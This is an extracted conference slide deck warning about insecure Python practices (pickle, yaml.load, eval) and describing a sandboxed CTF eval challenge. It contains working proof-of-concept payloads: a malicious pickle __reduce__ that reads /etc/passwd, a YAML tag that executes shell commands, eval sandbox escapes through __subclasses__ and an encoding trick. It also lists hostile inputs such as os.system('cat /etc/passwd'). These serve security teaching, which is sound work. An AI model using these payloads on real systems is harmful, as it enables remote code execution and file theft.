1 of 95

Some insecure things to avoid in Python

Disconnect3d

PyCon PL 2018, 25.08.2018

2 of 95

# whoami

  • Interested in security, low level stuff and reverse engineering <3
  • Playing Capture The Flag contests
  • Working for

https://github.com/disconnect3d/

https://disconnect3d.pl/

disconnect3d # irc.freenode.net

2

3 of 95

Lets talk about

pickle

3

4 of 95

pickle example

In [1]: import pickle��In [2]: pickle.dumps([1, 2, 3])Out[2]: b'\x80\x03]q\x00(K\x01K\x02K\x03e.'��In [3]: pickle.loads(_2)Out[3]: [1, 2, 3]��In [4]: pickle.dumps({'abcdef': [1, 2], 123: 321})Out[4]: b'\x80\x03}q\x00(X\x06\x00\x00\x00abcdefq\x01]q\x02(K\x01K\x02eK{MA\x01u.'��In [5]: pickle.loads(_4)Out[5]: {123: 321, 'abcdef': [1, 2]}

4

5 of 95

pickle example

In [6]: class A:...: def __init__(self, x):...: self.x = x ��In [7]: a = A(2)��In [8]: pickle.dumps(a)Out[8]: b'\x80\x03c__main__\nA\nq\x00)\x81q\x01}q\x02X\x01\x00\x00\x00xq\x03K\x02sb.'��In [9]: c = pickle.loads(_8)��In [10]: a.x, c.x, a, c�Out[10]: (2, 2, <__main__.A at 0x7f367809b6a0>, <__main__.A at 0x7f36780c7320>)

5

6 of 95

pickle via the docs...

Warning: The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

6

7 of 95

pickle malicious payload

In [1]: import subprocess� ...: ...: class Malicious:...: def __reduce__(self):...: callable = subprocess.Popen� ...: args = ('/bin/cat', '/etc/passwd') ...: return (callable, (args,)) ...: ��In [2]: with open('abc', 'wb') as f:...: d = pickle.dumps(Malicious())

...: f.write(d) ...:

7

8 of 95

pickle malicious payload

In [1]: import subprocess� ...: ...: class Malicious:...: def __reduce__(self):...: callable = subprocess.Popen� ...: args = ('/bin/cat', '/etc/passwd') ...: return (callable, (args,)) ...: ��In [2]: with open('abc', 'wb') as f:...: d = pickle.dumps(Malicious())

...: f.write(d) ...:

In [1]: import pickle��In [2]: with open('abc', 'rb') as f:...: pickle.loads(f.read())...:

�root:x:0:0:root:/root:/bin/bash�bin:x:1:1:bin:/bin:/usr/bin/nologin�daemon:x:2:2:daemon:/:/usr/bin/nologin�(...)

8

Totally different Python session,

It doesn’t even have subprocess imported

9 of 95

Lets talk about

yaml

9

10 of 95

yaml tutorial

10

11 of 95

yaml tutorial

11

12 of 95

yaml.load(...)

PyYAML allows you to construct a Python object of any type.

>>> yaml.load("""... none: [~, null]... bool: [true, false, on, off]... int: 42... float: 3.14159... list: [LITE, RES_ACID, SUS_DEXT]... dict: {hp: 13, sp: 5}... """)��{'none': [None, None], 'int': 42, 'float': 3.1415899999999999,'list': ['LITE', 'RES_ACID', 'SUS_DEXT'], 'dict': {'hp': 13, 'sp': 5},'bool': [True, False, True, False]}

12

13 of 95

PyYAML allows you to construct a Python object of any type.

In [1]: import yaml��In [2]: yaml.load('''those_RCEs: !!python/object/apply:subprocess.check_output ...: args: [ pwd ] ...: kwds: { shell: true }''')Out[2]: {'those_RCEs': b'/home/dc\n'}

In [3]: !pwd�/home/dc

13

14 of 95

Use yaml.safe_load instead of yaml.load

In [1]: import yaml��In [2]: yaml.safe_load('''those_RCEs: !!python/object/apply:subprocess.check_output ...: args: [ pwd ] ...: kwds: { shell: true }''')

ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply:subprocess.check_output'

in "<unicode string>", line 1, column 13:

those_RCEs: !!python/object/apply:subprocess ...

^

14

15 of 95

Offtopic: yaml WTF

15

16 of 95

yaml.load(...) # WTF

In [2]: yaml.load('42')�Out[2]: 42��In [3]: yaml.load('10:42')�Out[3]: 642��In [4]: yaml.load('5:10:42')�Out[4]: 18642��In [5]: yaml.load('1:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0')�Out[5]: 1692665944473600000000000000000��In [6]: yaml.load('1:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:')�Out[6]: {1692665944473600000000000000000: None}

More at: https://github.com/cblp/yaml-sucks

16

17 of 95

Eval?

Everyone knows its insecure, right?

17

18 of 95

Yet another ‘eval’ Python 2 challenge

18

#!/usr/bin/env python

eval(raw_input().title())

19 of 95

Lets see something simpler...

19

#!/usr/bin/env python

eval(raw_input().title())

20 of 95

Can we import?

20

In [2]: eval('import os; os.system("/bin/echo works")')File "<string>", line 1import os; os.system("/bin/echo works")^SyntaxError: invalid syntax�

21 of 95

Yeah

21

In [3]: x = '__import__("os").system("/bin/echo works")'��In [4]: eval(x)�works�

This is a builtin

22 of 95

What if we make the challenge harder?

22

eval(raw_input(), {'__builtins__':{}})

One can specify globals

[and locals] for eval

23 of 95

What if we make the challenge harder?

23

In [1]: x = '__import__("os").system("/bin/echo works")'��In [2]: eval(x, {'__builtins__': {}})���NameError: name '__import__' is not defined�

24 of 95

What if we make the challenge harder?

24

In [18]: x = "{}.__class__.__base__.__subclasses__()[59]()._module�.__builtins__['__import__']('os').system('echo sick')"��In [19]: eval(x, {'__builtins__': {}})�sick�Out[19]: 0

25 of 95

What if we make the challenge harder?

25

In [18]: x = "{}.__class__.__base__.__subclasses__()[59]()._module�.__builtins__['__import__']('os').system('echo sick')"��In [19]: eval(x, {'__builtins__': {}})�sick�Out[19]: 0

This has to be adjusted to be warnings.catch_warnings class

26 of 95

Lets come back to the real challenge

#!/usr/bin/env python

eval(raw_input().title())

26

27 of 95

If we try the previous solution here… it doesn’t work

In [22]: x.title()�Out[22]: "{}.__Class__.__Base__.__Subclasses__()[59]()�._Module.__Builtins__['__Import__']('Os')�.System('Echo Sick')"

27

28 of 95

And the solution comes from...

28

29 of 95

And the solution comes from...

PEP 263 - Defining Python Source Code Encodings

https://www.python.org/dev/peps/pep-0263/

This is about:�# -*- coding: latin-1 -*-�# -*- coding: iso-8859-15 -*-�# -*- coding: ascii -*-�# -*- coding: utf-42 -*-�# -*- coding: utf-8 -*-

29

30 of 95

The solution

eval("# Encoding: Unicode_Escape\r�\\145\\166\\141\\154\\050\\157\\160\\145\\156�\\050\\042\\146\\154\\141\\147\\042\\051\\056�\\162\\145\\141\\144\\050\\061\\060\\062\\064�\\051\\051".title())

30

There are no newlines

31 of 95

The solution

In [24]: !cat flag�Flag file first line�Flag file second line��In [25]: eval("# Encoding: Unicode_Escape\r\\145\\166\\141\\154\\050\\157\\160\\145\\156\\050\\042\\146\\154\\141\\147\\042\\051\\056\\162\\145\\141\\144\\050\\061\\060\\062\\064\\051\\051".title())��File "<string>", line 1� Flag file first line� ^�SyntaxError: invalid syntax

31

32 of 95

eval("# Encoding: Unicode_Escape\r�\\145\\166\\141\\154\\050\\157\\160\\145\\156\\050\\042\\146\\154\\141\\147�\\042\\051\\056\\162\\145\\141\\144\\050\\061\\060\\062\\064\\051\\051".title())

In [26]: s = '\\145\\166\\141 (...)' # string cut for better readability :P��In [27]: s.decode('unicode_escape')�Out[27]: u'eval(open("flag").read(1024))'

32

33 of 95

‘Titlecase’ — challenge genesis

<atem> I'm sorry about the Title Case challenge :)... It came from a real-life code audit, so I had to use it in a challenge :)

<atem> i learned a lot of new stuff about python internals :)

<atem> i still don't know what this developer was thinking though

<atem> his use case was that eval('true'.title()) would be the easiest solution to transform the string 'true' to a python boolean; where 'true' was attacker controlled

33

34 of 95

When you get your input from user

And you “want to” eval(...)

34

35 of 95

Use ast.literal_eval(...) instead*

*works for a Python literal or container display

35

  • Strings
  • Bytes
  • Numbers
  • Tuples
  • Lists
  • Dicts
  • Sets
  • Booleans
  • None

36 of 95

Eventually…

You might try safeeval�

36

37 of 95

Lets talk about my Python-challenges challenge

37

38 of 95

The task

38

39 of 95

The task

with open(__file__) as f:print('~'*30)for line in f:if 'import os' in line:� started = Trueelif not started:continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:continue�� print(line, end='')if 'class Challenge:\n' in line:� filtered = Trueprint('# [ filtered ]')print('~'*30)

39

40 of 95

The task

with open(__file__) as f:print('~'*30)for line in f:if 'import os' in line:� started = Trueelif not started:continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:continue�� print(line, end='')if 'class Challenge:\n' in line:� filtered = Trueprint('# [ filtered ]')print('~'*30)

40

41 of 95

The task

with open(__file__) as f:print('~'*30)for line in f:if 'import os' in line:� started = Trueelif not started:continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:continue�� print(line, end='')if 'class Challenge:\n' in line:� filtered = Trueprint('# [ filtered ]')print('~'*30)

41

42 of 95

The task

with open(__file__) as f:print('~'*30)for line in f:if 'import os' in line:� started = Trueelif not started:continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:continue�� print(line, end='')if 'class Challenge:\n' in line:� filtered = Trueprint('# [ filtered ]')print('~'*30)

42

43 of 95

The task

with open(__file__) as f:print('~'*30)for line in f:if 'import os' in line:� started = Trueelif not started:continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:continue�� print(line, end='')if 'class Challenge:\n' in line:� filtered = Trueprint('# [ filtered ]')print('~'*30)

43

44 of 95

The task

with open(__file__) as f:print('~'*30)for line in f:if 'import os' in line:� started = Trueelif not started:continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:continue�� print(line, end='')if 'class Challenge:\n' in line:� filtered = Trueprint('# [ filtered ]')print('~'*30)

44

45 of 95

Easter egg!

45

46 of 95

The task

Input: __doc__

Yay, someone found this easter egg. Gratz!

NOTE: there is no flag here,

but you can ask the organizer of this challenge

for a shot of vodka [if its still there!] ;)

46

47 of 95

The task

Input: __doc__

Yay, someone found this easter egg. Gratz!

NOTE: there is no flag here,

but you can ask the organizer of this challenge

for a shot of vodka [if its still there!] ;)

47

48 of 95

The task

class Challenge:

# [ filtered ]

#end-of-filter

48

49 of 95

The task

while True:

# you don't need that many, but feel free...

msg = input('msg: ')[:300]

print(eval(msg)) # YOLO. gl hf

49

50 of 95

The task

while True:

# you don't need that many, but feel free...

msg = input('msg: ')[:300]

print(eval(msg)) # YOLO. gl hf

50

51 of 95

The task

while True:

# you don't need that many, but feel free...

msg = input('msg: ')[:300]

print(eval(msg)) # YOLO. gl hf

51

Didn’t I just say NOT to use eval as someone can hack your server?

52 of 95

How is it done?

(that you can’t hack the server, at least in theory)

52

53 of 95

How is it done?

53

54 of 95

How is it done?

Tool created by Jagger (who plays with Dragon Sector CTF team) aka Robert Święcki.

54

55 of 95

How is it done?

Tool created by Jagger (who plays with Dragon Sector CTF team) aka Robert Święcki.

Funfact: he was supposed to be my manager in Google

55

56 of 95

How is it done?

Tool created by Jagger (who plays with Dragon Sector CTF team) aka Robert Święcki.

Funfact: he was supposed to be my manager in Google but apparently I rejected them

56

57 of 95

Lets try to get all the source code!

Input: open(__file__).read()

57

58 of 95

Lets try to get all the source code!

Input: open(__file__).read()

Traceback (most recent call last):

File "/proc/self/fd/100", line 188, in <module>

File "/proc/self/fd/100", line 184, in run

File "<string>", line 1, in <module>

FileNotFoundError: [Errno 2] No such file or directory: '/proc/self/fd/100'

58

59 of 95

Wait what?

'/proc/self/fd/100'

$ mount

proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)

(...)

59

60 of 95

Wait what?

'/proc/self/fd/100'

$ mount

proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)

(...)

60

61 of 95

Wait what?

'/proc/self/fd/100'

$ mount

proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)

(...)

61

62 of 95

So...

The file was read by [C]Python… but it is not there anymore.

def disconnect_code():� print(� 'I am closin\' the',� __file__,

'file so it aint too eazy;',� 'you know, for your own fun.\n'� )� os.close(100)�

62

63 of 95

So...

The file was read by [C]Python… but it is not there anymore.

def disconnect_code():� print(� 'I am closin\' the',� __file__,

'file so it aint too eazy;',� 'you know, for your own fun.\n'� )� os.close(100)

63

64 of 95

So...

The file was read by [C]Python… but it is not there anymore.

def disconnect_code():print('I am closin\' the',__file__,

'file so it aint too eazy;',� 'you know, for your own fun.\n')� os.close(100)

64

65 of 95

Here comes the fun part!

65

66 of 95

Can we break or hack the server?

I don’t know.

If you ask for permission:�Yes, you can try.

66

67 of 95

Can we break or hack the server?

I don’t know.

If you ask for permission:�Yes, you can try.

67

68 of 95

Can we break or hack the server?

I don’t know.

If you ask for permission:�Yes, you can try.

68

69 of 95

But… good luck!

69

70 of 95

Lets see some examples!

70

71 of 95

Lets see some examples!

Input: msg: __import__('os').fork()

Traceback (most recent call last):

File "/proc/self/fd/100", line 188, in <module>

File "/proc/self/fd/100", line 184, in run

File "<string>", line 1, in <module>

BlockingIOError: [Errno 11] Resource temporarily unavailable

71

72 of 95

Lets see some examples!

Input: msg: __import__('os').fork()

Traceback (most recent call last):

File "/proc/self/fd/100", line 188, in <module>

File "/proc/self/fd/100", line 184, in run

File "<string>", line 1, in <module>

BlockingIOError: [Errno 11] Resource temporarily unavailable

72

73 of 95

Lets see some examples!

Input: msg: os.system('cat /etc/passwd')

-1

73

74 of 95

So maybe DOS?

74

75 of 95

DOS?

Input: list(range(2**32))

Traceback (most recent call last):

File "/proc/self/fd/100", line 188, in <module>

File "/proc/self/fd/100", line 184, in run

File "<string>", line 1, in <module>

MemoryError

75

76 of 95

DOS?

Input: list(range(2**32))

Traceback (most recent call last):

File "/proc/self/fd/100", line 188, in <module>

File "/proc/self/fd/100", line 184, in run

File "<string>", line 1, in <module>

MemoryError

76

77 of 95

How its build

77

78 of 95

Build

docker build -t test .

docker run -d -v /sys/fs/cgroup:/sys/fs/cgroup:rw -p 31337:31337 --privileged --rm test

78

79 of 95

Build

docker build -t test .

docker run -d -v /sys/fs/cgroup:/sys/fs/cgroup:rw -p 31337:31337 --privileged --rm test

79

Wait whaaaat? Rooot?

80 of 95

Build

FROM nsjail

RUN apt-get update && apt-get install -y python3

ADD . /task

RUN groupadd nobody

CMD /task/launch.sh

80

81 of 95

launch.sh

#!/bin/bash

mkdir -p /sys/fs/cgroup/{cpu,memory,pids}/NSJAIL

nsjail --config /task/nsjail.cfg 100<>/task/chall.py

81

82 of 95

nsjail.cfg

name: "Python challenges task"

description: "yolo"

mode: LISTEN

hostname: "OhYouHaxx0rThereIsNothingHere"

bindhost: "0.0.0.0"

port: 31337

82

83 of 95

nsjail.cfg

pass_fd: 0

pass_fd: 1

pass_fd: 2

pass_fd: 100

83

84 of 95

nsjail.cfg

pass_fd: 0

pass_fd: 1

pass_fd: 2

pass_fd: 100

keep_env: true

84

85 of 95

nsjail.cfg

time_limit: 60

max_cpus: 1

cgroup_pids_max: 1

rlimit_as: 64

rlimit_core: 0

rlimit_cpu: 10

rlimit_fsize: 0

rlimit_nofile: 32

rlimit_stack_type: SOFT

rlimit_nproc_type: SOFT

85

86 of 95

nsjail.cfg

uidmap {

inside_id: "1"

outside_id: "nobody"

}

gidmap {

inside_id: "1"

outside_id: "nobody"

}

86

87 of 95

nsjail.cfg

mount_proc: true

mount {

src: "/usr"

dst: "/usr"

is_bind: true

rw: false

}

mount {

src: "/lib"

dst: "/lib"

is_bind: true

rw: false

}

mount {

src: "/lib64"

dst: "/lib64"

is_bind: true

rw: false

}

mount {

src: "/bin"

dst: "/bin"

is_bind: true

rw: false

}

87

88 of 95

nsjail.cfg

mount {

src: "/task/fake_passwd"

dst: "/etc/passwd"

is_bind: true

rw: false

mandatory: true

is_dir: false

}

mount {

dst: "/tmp"

fstype: "tmpfs"

rw: true

}

88

89 of 95

nsjail.cfg

exec_bin {

path: "/usr/bin/python3"

arg0: "python3"

arg: "/proc/self/fd/100"

}

89

90 of 95

nsjail.cfg

seccomp_string: "POLICY example { "

seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "

seccomp_string: " ERRNO(0) { ptrace }, "

seccomp_string: " ALLOW { execve } "

seccomp_string: "} "

seccomp_string: "USE example DEFAULT ALLOW "

seccomp_log: true

90

91 of 95

nsjail.cfg

seccomp_string: "POLICY example { "

seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "

seccomp_string: " ERRNO(0) { ptrace }, "

seccomp_string: " ALLOW { execve } "

seccomp_string: "} "

seccomp_string: "USE example DEFAULT ALLOW "

seccomp_log: true

91

92 of 95

nsjail.cfg

seccomp_string: "POLICY example { "

seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "

seccomp_string: " ERRNO(0) { ptrace }, "

seccomp_string: " ALLOW { execve } "

seccomp_string: "} "

seccomp_string: "USE example DEFAULT ALLOW "

seccomp_log: true

92

93 of 95

nsjail.cfg

seccomp_string: "POLICY example { "

seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "

seccomp_string: " ERRNO(0) { ptrace }, "

seccomp_string: " ALLOW { execve } "

seccomp_string: "} "

seccomp_string: "USE example DEFAULT ALLOW "

seccomp_log: true

93

94 of 95

nsjail.cfg

seccomp_string: "POLICY example { "

seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "

seccomp_string: " ERRNO(0) { ptrace }, "

seccomp_string: " ALLOW { execve } "

seccomp_string: "} "

seccomp_string: "USE example DEFAULT ALLOW "

seccomp_log: true

94

This is bad, but whatever...

95 of 95

The end

Hope you enjoyed o/

https://disconnect3d.pl/

disconnect3d # irc.freenode.net